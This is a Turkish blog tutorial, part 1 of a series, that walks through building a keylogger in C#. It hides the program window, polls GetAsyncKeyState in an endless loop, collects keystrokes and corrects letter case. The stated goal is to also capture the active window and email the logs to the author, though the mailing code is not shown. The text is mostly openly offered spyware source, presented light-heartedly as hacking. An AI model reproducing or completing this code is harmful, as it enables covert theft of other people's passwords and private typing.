C# kullarak çok profesyonel olmayan (kim bilir belki de öyledir?) keylogger yapacağız. Yazı bir kaç bölümden oluşacak ve son bölümde yaptığımız program kullanıcının bastığı tuşları yakalayacak, o anki aktif pencereyi (yani yazıyı nereye yazdığını) bize bildirecek ve tuşları görevine göre (Mesela Shift + A büyük a harfi vs.) ayrıştırıp belirli periyodlarda (mail yoluyla) bize gönderecek.

C# ile Keylogger Yapımı (1. Bölüm)
Resmin konumuzla alakası yok, yeşillik olsun diye koydum.

Başlangıç

İlk olarak Visual Studio'da yeni bir Windows Forms Application projesi oluşturun. Ardından sağ taraftaki Solition Explorer panelinden Form1.cs elementini silin ve Program.cs dosyasındaki Main bloğu içindeki aşağıdaki kodları silin.

Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());

Şimdi F5 ile projenizi çalıştırdığınızda göreceksiniz ki karşınıza hiç bir şey gelmeyecek. Normalde sildiğimiz kodlar Form1.cs dosyasını çağırır ve karşımıza arayüz çıkardı. Şimdi ise programın yapacak bir şeyi olmadığı için açılır açılmaz geri kapanıyor.

Programın kapanmasını engellemek için Main methodu içine sonsuz döngü ekleyeceğiz, böylece kontrolü sürekli olarak yapabileceğiz. Program class'ında aşağıdaki gibi bir görünüm olacaktır.

static class Program
{
    [STAThread]
    static void Main()
    {
        while (true)
        {
                
        }
    }
}

Tuşları Dinlemek

Şimdi uygulamanın en temel kısmına geldik. Proje içine user32.dll içindeki GetAsyncKeyState fonksiyonunu çağıracağız. Bu fonksiyon, parametre olarak verilen ascii kodun o anda klavyede basılı olup olmadığına bakar ve eğer basılı ise -32767 değerini döndürür. Yani bir short tipi değişkenin alabileceği minimum değerin bir fazlası.

Program sınıfının içinde aşağıdaki gibi fonksiyonumuzu çağıralım. Dll import edebilmek için projenize System.Runtime.InteropServices isim uzayını eklemelisiniz.

[DllImport("user32.dll", CallingConvention = CallingConvention.Cdecl)]
private static extern int GetAsyncKeyState(long vKey);

İsim uzayını siz eklemeseniz bile zaten DllImport ifadesinin üzerine fare ile geldiğinizde Visual Studio öneride bulunacaktır zaten.

Tuş kontrolü

İstediğimiz bir tuşun basılıp basılmadığını artık anlayabildiğimize göre sıra geldi hangi tuşun basıldığını bulmaya. Mantık basit; 0 - 255 arası dönen bir for döngüsü olacak ve her adımda tuş kontrolünü sayaç (i) ile yapacak. Eğer sonuç istediğimiz gibi dönerse döngüyü sonlandıracak. For döngüsünün dışında bir tane de sonsuz while döngüsü olduğu için bu işlem teorik olarak sonsuza kadar sürecek.

for (byte i = 0; i < 255; i++)
{
    if (GetAsyncKeyState(i).Equals(Int16.MinValue + 1))
    {
        Debug.WriteLine(i);
        break;
    }
}

Ben yukarıda basılan tuşları Visual Studio'nun output ekranına yazdırmayı tercih ettim, siz dilerseniz dosyaya falan kaydedebilirsiniz. Ki şimdilik gereksiz sadece çalışıp çalışmadığını test etmek gerekiyordu onun için yazdım. Debug sınıfını kullanmak için projenize System.Diagnostics isim uzayını eklemelisiniz. Unutmadan, çıktı ekranında gördükleriniz tabii ki basılan karakterlerin ascii karşılıkları.

Eğer debug esnasında output ekranını göremiyorsanız, F5 yaptıktan sonra menüden Debug > Windows > Output yolunu izleyerek açabilirsiniz.

Eğer

Kodları debug ederken PInvokeStackImbalance hatası ile karşılaştıysanız menüden Debug > Exceptions yolunu (CTRL + ALT + E) izledikten sonra karşınıze gelen pencerede Managed Debugging Assistans bölümündeki PInvokeStackImbalance seçeneğinin karşısındaki onayı kaldırıp OK deyin ve projeyi tekrar çalıştırın.

Logları Biriktirme

Tabii ki aldığımız tuş kayıtlarını biriktirmemiz gerekiyor bunun için sınıf seviyesinde static bir byte list tanımlayacağız. Listeleri kullanmak için projenize System.Collections.Generic isim uzayını eklemelisiniz.

static List<Byte> bytes = new List<Byte>();

Önceki kodda Debug.WriteLine yaptığımız satırı değiştirip gelen byte'ı listeye ekleyip bir de tüm listeyi karaktere çevirip yazdırdım, gereksiz kaynak tüketiyor ama çalışıp çalışmadığını anlamamız için en azından debug aşamasında orada kalmalı.

if (GetAsyncKeyState(i).Equals(Int16.MinValue + 1))
{
    bytes.Add(i);
    Debug.WriteLine(Encoding.ASCII.GetString(bytes.ToArray()));
    break;
}

Encoding sınıfı yardımı ile byte listesini diziye çevirip ascii karşılıklarını yazdırdık. Bu sınıfı kullanmak için projenize System.Text isim uzayını dahil etmelisiniz.

Fark ettiğiniz üzere Türkçe karakterleri soru işareti olarak gösteriyor, bunun sebebi ascii karakterler içinde olmamaları. Ama mesele değil, onu da ileriki adımlarda çözeceğiz.

Harf Tanıma

Tuş kayıtlarını alırken kullanıcının o an küçük ya da büyük harf kullanmasına dikkat etmeksizin karakterlerin ascii karşılıklarını alıyoruz. Yani klavyede küçük harf olmadığından, hep büyük harflerin ascii kodlarını elde edebiliyoruz. Şimdi yapmamız gereken klavyedeki Caps Lock ve Shift tuşlarının durumunu kontrol edip veriyi ona göre şekillendirmek. Şimdi basılan tuşu log ekranına yazdırdığımız bölümde tekrar bir değişiklik yapacağız. Kafalar biraz karışabilir.

if (GetAsyncKeyState(i).Equals(Int16.MinValue + 1))
{
    int key = ((!Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys != Keys.Shift) || (Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys == Keys.Shift)) && (i > 64 && i < 91) ? i + 32 : i;
    Debug.WriteLine("{0} - {1}", (char)key, key);
    break;
}

Eğer ascii tabloya (Amma çok link verdim ha.) bakarsanız büyük harflerin başlangıcının 65, küçük harflerin ise 97 olduğunu göreceksiniz. Yani aralarında 32 sayı fark var. Örneğin 65 = A karakteri ise, 65 + 32 = a karakteri olur.

Kullanıcının küçük harf yazması için iki ihtimali var; ya caps lock ve shift açık ya da her ikisi de kapalı olacak. İkisinden birisi açık olduğunda büyük harf yazacaktır. Yukarıda yaptığımız kontrolün ilk bölümü bu. İkincisi ise basılan karakter 65 ve 90 (A-Z) arasında mı kontrolü.

Control.IsKeyLocked methodu CapsLock, NumLock ve ScrollLock tuşlarının o anki durumunu (aktif/pasif) verir. ModifierKeys özelliği ise tuşlarla beraber basılabilecek kontrol tuşlarının (shift, alt vs.) durumunu verir. Kullanmak için projenize System.Windows.Forms isim uzayını import etmelisiniz.

Kontrol başarılı ise (yani kullanıcının her iki kontrol tuşu da ya kapalı ya da açıksa) karakter koduna 32 ekledik, aksi halde olduğu gibi kaldı. Kullandığımız ifadenin çalışma mantığı aşağıdaki gibi.

string degisken = bool değer (true / false) ? true ise değer : false ise değer;

Örneğin, aşağıdaki değişken 3 değerini alacak. Eğer kontrol bloğunu false yaparsanız 1 olur. İnanmayan varsa test etsin (önerilir), bizde yalan yok !!1!

int sayi = true ? 3 : 1;

Pek iyi anlatamadım, biliyorum. İlk defa görenler şuraya bakabilirler.

Son olarak, log bölümünü eski okunaklı haline getirelim. Debug işlemini başlattıktan sonra not defterini açıp büyüklü küçüklü bir şeyler yazıp test edin. Bakalım olmuş mu...

if (GetAsyncKeyState(i).Equals(Int16.MinValue + 1))
{
    byte key = Convert.ToByte(((!Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys != Keys.Shift) || (Control.IsKeyLocked(Keys.CapsLock) && Control.ModifierKeys == Keys.Shift)) && (i > 64 && i < 91) ? i + 32 : i);
    bytes.Add(key);
                        
    Debug.WriteLine(Encoding.ASCII.GetString(bytes.ToArray()));
    break;
}

End of Fun - EOF

Sanırım ilk bölüm için bu kadarı yeterli Diablo 3 downloadı bitti azıcık oynayayım XD. Bir sonraki bölümde şu karakter tanıma olayını biraz daha ileri götüreceğiz, loglara aktif pencere, kullanıcının IP adresi, tarih/saat gibi bilgiler ekleyeceğiz.

Projenin buraya kadar olan bölümünü indirmek için KeyloggerExample1.rar linkine tıklayabilirsiniz.

İyi akşamlar Türkiye, her nerede hekliyor ve hekleniyorsanız...